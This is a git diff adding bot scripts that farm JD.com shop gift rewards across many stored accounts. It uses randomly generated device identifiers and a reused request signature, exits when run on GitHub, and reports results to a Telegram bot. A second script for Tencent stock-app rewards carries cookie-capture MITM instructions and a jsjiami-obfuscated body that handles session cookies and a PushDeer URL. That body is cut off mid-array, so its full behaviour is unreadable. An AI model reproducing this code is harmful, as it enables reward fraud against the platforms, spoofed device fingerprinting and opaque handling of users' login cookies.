rep_cookies = resp.headers['set-cookie']; + // console.log(rep_cookies); + r_cookie=''; + for(var c in rep_cookies){ + r_cookie += rep_cookies[c].split(" ")[0]; + } + // console.log(r_cookie); + + // // $.data = JSON.parse(data); + // $.log(`测试activity🚩resp: ${JSON.stringify(resp, null ,'\t')}`); + // console.log(JSON.stringify($.data,null, '\t')); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} +//获取LZ_TOKEN_KEY +async function getSimpleActInfoVo(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/customer/getSimpleActInfoVo`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' :`IsvToken=${token};`+ cookie + r_cookie , + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}w&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + + body: `activityId=${activityId}` + }; + // console.log(JSON.stringify(url)); + $.post(url, async (err, resp, data) => { + try { + // $.resp = JSON.parse(resp); + $.data = JSON.parse(data); + rep_cookies = resp.headers['set-cookie']; + // console.log(rep_cookies); + r_cookie=''; + for(var c in rep_cookies){ + r_cookie += rep_cookies[c].split(" ")[0]; + } + if($.data.result){ + jdActivityId=$.data.data.jdActivityId; + venderId=$.data.data.venderId; + shopId=$.data.data.shopId; + } + console.log(r_cookie); + console.log(jdActivityId); + console.log(venderId); + console.log(shopId); + // return + // // $.data = JSON.parse(data); + // $.log(`测试activity🚩resp: ${JSON.stringify(resp, null ,'\t')}`); + // console.log(JSON.stringify($.data,null, '\t')); + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} +// 获取userid +async function activityContent(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/wxShopGift/activityContent`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' : cookie, + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : ``, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + + body: `activityId=${activityId}&buyerPin=${randomString(64)}` + + }; + // console.log(`${JSON.stringify(url)}`); + userId = ''; + $.post(url, async (err, resp, data) => { + try { + $.data = JSON.parse(data); + // console.log(`activityContent🚩${JSON.stringify($.data, null, '\t')}`); + if($.data.result){ + userId=$.data.data.userId; + endTime=$.data.data.endTime; + list=$.data.data.list; + lp = ''; + for (var k in list){ + lp += list[k]['takeNum'] + list[k]['type']+ ' ' + } + if(lp){ + lp_list = lp.replace('jd', '京豆').replace('jf','积分').replace('dq','东券') + console.log(`${$.nickName || $.UserName} 哇!快看,特效真美美美,biubiu~`) + } + if(Math.round(new Date().getTime())>endTime){ + console.log(`活动已结束`); + label = 4 + } + if(list.length === 0){ + console.log(`礼品已领完`); + label = 4 + } + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} +// 获取token +async function isvObfuscator(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + body = `body=%7B%22url%22%3A%22https%3A%5C/%5C/lzkj-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167874&client=apple&clientVersion=10.2.4&d_brand=apple&d_model=iPhone14%2C3&ef=1&eid=${randomString(116)}&ep=%7B%22ciphertype%22%3A5%2C%22cipher%22%3A%7B%22screen%22%3A%22CJS4DMeyDzc4%22%2C%22wifiBssid%22%3A%22${randomString(43)}%3D%22%2C%22osVersion%22%3A%22CJUkDK%3D%3D%22%2C%22area%22%3A%22${randomString(24)}%22%2C%22openudid%22%3A%22DtVwZtvvZJcmZwPtDtc5DJSmCtZvDzLsCzK2DJG2DtU1EWG5Dzc2ZK%3D%3D%22%2C%22uuid%22%3A%22${randomString(32,'xx')}%22%7D%2C%22ts%22%3A${get_times('ss')}%2C%22hdid%22%3A%22${randomString(43)}%3D%22%2C%22version%22%3A%221.0.3%22%2C%22appname%22%3A%22com.360buy.jdmobile%22%2C%22ridx%22%3A-1%7D&ext=%7B%22prstate%22%3A%220%22%7D&isBackground=N&joycious=98&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&partner=apple&rfs=0000&scope=10&sign=ece45b391fb4abf4e4590c7da6eeacc5&st=1649150743509&sv=101&uemps=0-0&uts=${randomString(64)}`; + let url = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + + headers : { + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'User-Agent' : `JD4iPhone/167874%20(iPhone;%20iOS;%20Scale/3.00)`, + 'Cookie' : cookie, + 'Host' : `api.m.jd.com`, + 'Referer' : ``, + 'Accept-Language' : `zh-Hans-CN;q=1, en-CN;q=0.9`, + 'Accept' : `*/*` + }, + body: body + }; + // console.log(JSON.stringify(url)); + $.post(url, async (err, resp, data) => { + try { + $.data = JSON.parse(data); + // $.log(`测试🚩: ${data}`) + // $.log(`请求token测试🚩resp: ${JSON.stringify(resp, null ,'\t')}`); + // console.log(JSON.stringify($.data,null, '\t')); + if($.data.errcode === 0){ + token = $.data.token + // console.log(`Toekn: ${token}`) + }else { + token = ''; + console.log(`token获取失败 ${$.data.message}`); + } + } catch (e) { + $.logErr(e, resp); + token = ''; + } finally { + resolve() + } + }) + }, timeout) + }) +} +// getMyPing +async function getMyPing(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/customer/getMyPing`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' :`IsvToken=${token};`+ cookie + r_cookie , + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}w&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + body: `userId=${userId}&token=${token}&fromType=APP_shopGift` + + }; + username=nickname; + pin=''; + // console.log(`getMyPing URL = ${JSON.stringify(url)}`); + $.post(url, async (err, resp, data) => { + try { + // $.data = JSON.parse(data); + if(err){ + $.log(`${JSON.stringify(err)}`); + }else { + $.data = JSON.parse(data); + rep_cookies = resp.headers['set-cookie']; + // console.log(rep_cookies); + r_cookie=''; + for(var c in rep_cookies){ + r_cookie += rep_cookies[c].split(" ")[0]; + } + if($.data.result){ + username=$.data.data.nickname; + pin=encodeURIComponent($.data.data.secretPin); + + }else { + console.log(`${$.data.errorMessage}`) + } + } + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +async function draw(timeout = 500) { + return new Promise((resolve) => { + setTimeout(() => { + let url = { + url: `https://lzkj-isv.isvjcloud.com/wxShopGift/draw`, + + headers: { + 'X-Requested-With' : `XMLHttpRequest`, + 'Connection' : `keep-alive`, + 'Accept-Encoding' : `gzip, deflate, br`, + 'Content-Type' : `application/x-www-form-urlencoded`, + 'Origin' : `https://lzkj-isv.isvjcloud.com`, + 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "Mozilla/5.0 (iPhone; CPU iPhone OS 15_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.18(0x18001236) NetType/WIFI Language/zh_CN"), + 'Cookie' :`IsvToken=${token};`+ cookie + r_cookie , + 'Host' : `lzkj-isv.isvjcloud.com`, + 'Referer' : `https://lzkj-isv.isvjcloud.com/wxShopGift/activity?activityId=${activityId}&sid=${randomString(32,'xx')}w&un_area=${randomString(2,'int')}_${randomString(4,'int')}_${randomString(4,'int')}_${randomString(5,'int')}`, + 'Accept-Language' : `zh-CN,zh-Hans;q=0.9`, + 'Accept' : `application/json` + }, + body: `activityId=${activityId}&buyerPin=${pin}&hasFollow=false&accessType=app` + + }; + + // console.log(`getMyPing URL = ${JSON.stringify(url)}`); + $.post(url, async (err, resp, data) => { + try { + // $.data = JSON.parse(data); + if(err){ + $.log(`${JSON.stringify(err)}`); + }else { + $.data = JSON.parse(data); + // console.log(JSON.stringify($.data,null, '\t')); + if($.data.result){ + console.log(`\tYes, 关注成功领取 ${lp_list}`); + getlp = lp_list + }else { + console.log(`\t${$.data.errorMessage}`); + getlp = $.data.errorMessage + } + + if($.countBean[username]){ + $.countBean[username] += getlp; + }else { + $.countBean[username] = getlp; + } + } + console.log("*****************************************") + + } catch (e) { + $.logErr(e, resp); + } finally { + resolve() + } + }) + }, timeout) + }) +} + +function randomString(len, lx='hh') { +  len = len || 32; + if(lx==='hh'){ + var $chars = 'ABCDEFGHJKMNPQRSTWXYZoOLlabcde9gqfhijkmnVvprstwxyz234Uu5I1678'; /****默认去掉了容易混淆的字符oOLl,9gq,Vv,Uu,I1****/ + } + else if(lx === 'xx') { + var $chars = 'abcdefhijkmnprstwxyzolgqvu0192345678'; /****默认去掉了容易混淆的字符oOLl,9gq,Vv,Uu,I1****/ + } + else if(lx ==='dx'){ + var $chars = 'ABCDEFGHJKMNPQRSTWXYZUVILO0192345678'; + } + else if(lx ==='int'){ + var $chars = '0192345678'; + } +   var maxPos = $chars.length; +   var pwd = ''; +   for (i = 0; i < len; i++) { +     pwd += $chars.charAt(Math.floor(Math.random() * maxPos)); +   } +   return pwd; + }; +function get_times(lx='ms') { + let timeInMS = Math.round(new Date().getTime()); + let timeInSecond = Math.floor(timeInMS/1000); + // var times = '' + if(lx==='ms'){ + return timeInMS + }else if(lx==='ss'){ + return timeInSecond + }else { + return '' + } +} + +function tgBotNotify(text, desp) { + return new Promise(resolve => { + if (TG_BOT_TOKEN && TG_USER_ID) { + var bodys = {"chat_id": TG_USER_ID, "text": text+"\n"+desp, "disable_web_page_preview": true}; + const options = { + url: `https://${TG_API_HOST}/bot${TG_BOT_TOKEN}/sendMessage`, + body: JSON.stringify(bodys), + headers: { + 'Content-Type': 'application/json' + }, + timeout + } + // console.log(JSON.stringify(options, null, "\t")); + if (TG_PROXY_HOST && TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: TG_PROXY_HOST, + port: TG_PROXY_PORT * 1, + proxyAuth: TG_PROXY_AUTH + } + }) + } + Object.assign(options, { agent }) + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log('telegram发送通知消息失败!!\n'); + console.log(err); + } else { + data = JSON.parse(data); + if (data.ok) { + console.log('Telegram发送通知消息成功🎉。\n') + $.msg(`【PKC提示】`, `[${$.name}]变量已推送到监控群组【${data.result.chat.title}】\n`); + } else if (data.error_code === 400) { + console.log('请主动给bot发送一条消息并检查接收用户ID是否正确。\n') + } else if (data.error_code === 401){ + console.log('Telegram bot token 填写错误。\n') + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + } else { + console.log('可提供TG机器人推送变量到监控\nboxjs订阅:https://gitee.com/curtinlv/Curtin/raw/master/Boxjs/curtin.boxjs.json\n'); + $.msg(`【PKC提示】`, '可提供TG机器人推送变量到指定监控群组\nboxjs订阅:https://gitee.com/curtinlv/Curtin/raw/master/Boxjs/curtin.boxjs.json\n'); + resolve() + } + }) +} + +async function sendNotify(text, desp) { + // text = text.match(/.*?(?=\s?-)/g) ? text.match(/.*?(?=\s?-)/g)[0] : text; + await Promise.all([ + tgBotNotify(text, desp),//telegram 机器人 + + ]) +} + +function requireConfig() { + return new Promise(resolve => { + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const activityIdArrNode = $.isNode() ? process.env.PKC_TXGZYL.split('@') : []; + + // IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.activityIdArr = []; + if ($.isNode()) { + Object.keys(activityIdArrNode).forEach((item) => { + if (activityIdArrNode[item]) { + $.activityIdArr.push(activityIdArrNode[item]) + } + }) + } else { + if ($.getdata('pkc_txgzyl')) $.activityIdArr = $.getdata('pkc_txgzyl').split('@').filter(item => !!item); + // console.log(`\nBoxJs设置的${$.name}关注有礼body:${$.getdata('gzylbody') ? $.getdata('gzylbody') : '暂无'}\n`); + } + + console.log(`您提供了${$.activityIdArr.length}个的特效关注有礼店铺活动\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0 && data.base && data.base.nickname) { + $.nickName = data.base.nickname; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got/dist/source/index"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t, e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t, s, i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_txstockex.js b/jd_txstockex.js new file mode 100644 index 0000000..7c990d4 --- /dev/null +++ b/jd_txstockex.js @@ -0,0 +1,31 @@ +/* +腾讯自选股V2 兑换京东e卡,搬运修改,jd开头是方便拉取 + +更新了一下脚本,精简了需要的CK,多账户用换行(\n)或者@或者#隔开,尽量用换行隔开因为我没测试其他 +一天跑两次就够了,10点到13点之间运行一次猜涨跌做任务,16点半之后运行一次领猜涨跌奖励 +提现设置:默认提现5元,需要改的话自己设置TxStockCash变量,0代表不提现,1代表提现1元,5代表提现5元 +新手任务设置:默认不做新手任务,需要做的话设置TxStockNewbie为1 +分享任务设置:默认会做互助任务,需要多账号,黑号也能完成分享任务。不想做的话设置TxStockHelp为0 +可以设置某些号只助力别的号不做任务(没资格的小号可以助力大号),在对应的ck后面加&task=0 +没有捉到微信CK的也可以跑脚本,删掉wzq_qlskey和wzq_qluin就行,会尝试用APP的CK去完成微信任务,出现做任务失败是正常现象 + +青龙捉包,需要捉APP和公众号里面的小程序 +1. 打开APP,捉wzq.tenpay.com包,把url里的openid和fskey用&连起来填到TxStockCookie +2. 公众号 腾讯自选股微信版->右下角好福利->福利中心,捉wzq.tenpay.com包,把Cookie里的wzq_qlskey和wzq_qluin用&连起来填到TxStockCookie +格式如下: +export TxStockCookie='openid=xx&fskey=yy&wzq_qlskey=zz&wzq_qluin=aa' + +V2P,圈X重写: +打开APP和小程序自动获取 +小程序入口:公众号 腾讯自选股微信版->右下角好福利->福利中心 +[task_local] +#腾讯自选股 +35 11,16 * * * https://raw.githubusercontent.com/leafxcy/JavaScript/main/txstockV2.js, tag=腾讯自选股, enabled=true +[rewrite_local] +https://wzq.tenpay.com/cgi-bin/.*user.*.fcgi url script-request-header https://raw.githubusercontent.com/leafxcy/JavaScript/main/txstockV2.js +[MITM] +hostname = wzq.tenpay.com +10 10 * * * jd_txstockex.js +*/ +var _0xodA='jsjiami.com.v6',_0xodA_=['‮_0xodA'],_0x3fda=[_0xodA,'ZmhEUUU=','Z2FBTFI=','eUdpaXY=','YUtKTVU=','QmdoUVA=','Y2F0Y2g=','bG9nRXJy','ZmluYWxseQ==','MXwyfDB8NHwz','b3BlbmlkPWFub255bW91cw==','ZnNrZXk9','TEtncmw=','emZaZmo=','ZWZnVEQ=','QlhIT2Y=','d3pxX3FsdWluPQ==','ekhaZVU=','RURYVmM=','dXJs','Y2dpLWJpbi91c2VyaW5mby5mY2dp','Q29va2ll','bWF0Y2g=','T2pWZkQ=','QVRuV3I=','cUphU3M=','SWVuSEM=','b3JHa2s=','bXlZbVk=','bUF2S0M=','ZVFJRlo=','TXZCUWk=','bm10QW0=','RXhWcFI=','VFJpWFo=','Y01RSUg=','IOabtOaWsOesrA==','bUFoSE0=','U2ZhSk4=','IOiOt+WPluesrDHkuKpja+aIkOWKnzog','ZmZmcXE=','Y2dpLWJpbi9hY3Rpdml0eV91c2VyY2VudGVyLmZjZ2k=','V0dCSEQ=','YUxWc0Y=','ck1HQlI=','R3RXakY=','R2tNZG4=','cFFMVEk=','SmdFTFE=','eEVvS2c=','WE9GRG0=','T1ZBZ0U=','ak5oYlQ=','SGloSlY=','bUJ1d2c=','Z2V0TW9udGg=','Z2V0RnVsbFllYXI=','Ynh1cFA=','Z2V0RGF0ZQ==','YmZwcU8=','enRYb1k=','5YWx5om+5Yiw','5Liq5pyJ5pWI6LSm5Y+3','6L+Q6KGM6YCa55+lCgo=','UGdNYm0=','eVlxZWQ=','Li9zZW5kTm90aWZ5','Sk1oSXA=','Zmd5a0o=','SnFGR3I=','T1RFR04=','eXFpZWc=','WHRUc2s=','S1ZlTFA=','VWNUVko=','cXVqcXk=','Znh4WlE=','T3lLaGE=','VW1uYk0=','dUxndFE=','c2VuZE5vdGlmeQ==','ZnR4YW8=','VnlhYVQ=','UkxJSkU=','aGpBcFE=','cnBoSXQ=','WFhoeFY=','c0xjdUs=','SmJKaUY=','NHwyfDN8MXww','WEx5Rlg=','eWxyZkI=','ZlNEWFY=','Cj09PT09PT09PT09PT0gUHVzaERlYXIg6YCa55+lID09PT09PT09PT09PT0K','c3RkU3A=','aHR0cHM6Ly9hcGkyLnB1c2hkZWVyLmNvbS9tZXNzYWdlL3B1c2g/cHVzaGtleT0=','JnRleHQ9','VkpJSVM=','cnpwSXE=','d1VWbkI=','dkxyV1M=','Y29udGVudA==','cmVzdWx0','Cj09PT09PT09PT0gUHVzaERlYXIg6YCa55+l5Y+R6YCB','ID09PT09PT09PT0K','RktrQ1A=','WmlxbmY=','dEZiQ3E=','QkRBdXU=','aUp0Q0w=','TGVwYU8=','eFhEVWw=','Y0FuV2U=','UlNFdWs=','aVBkUlg=','b09udGI=','T1BXWGQ=','WE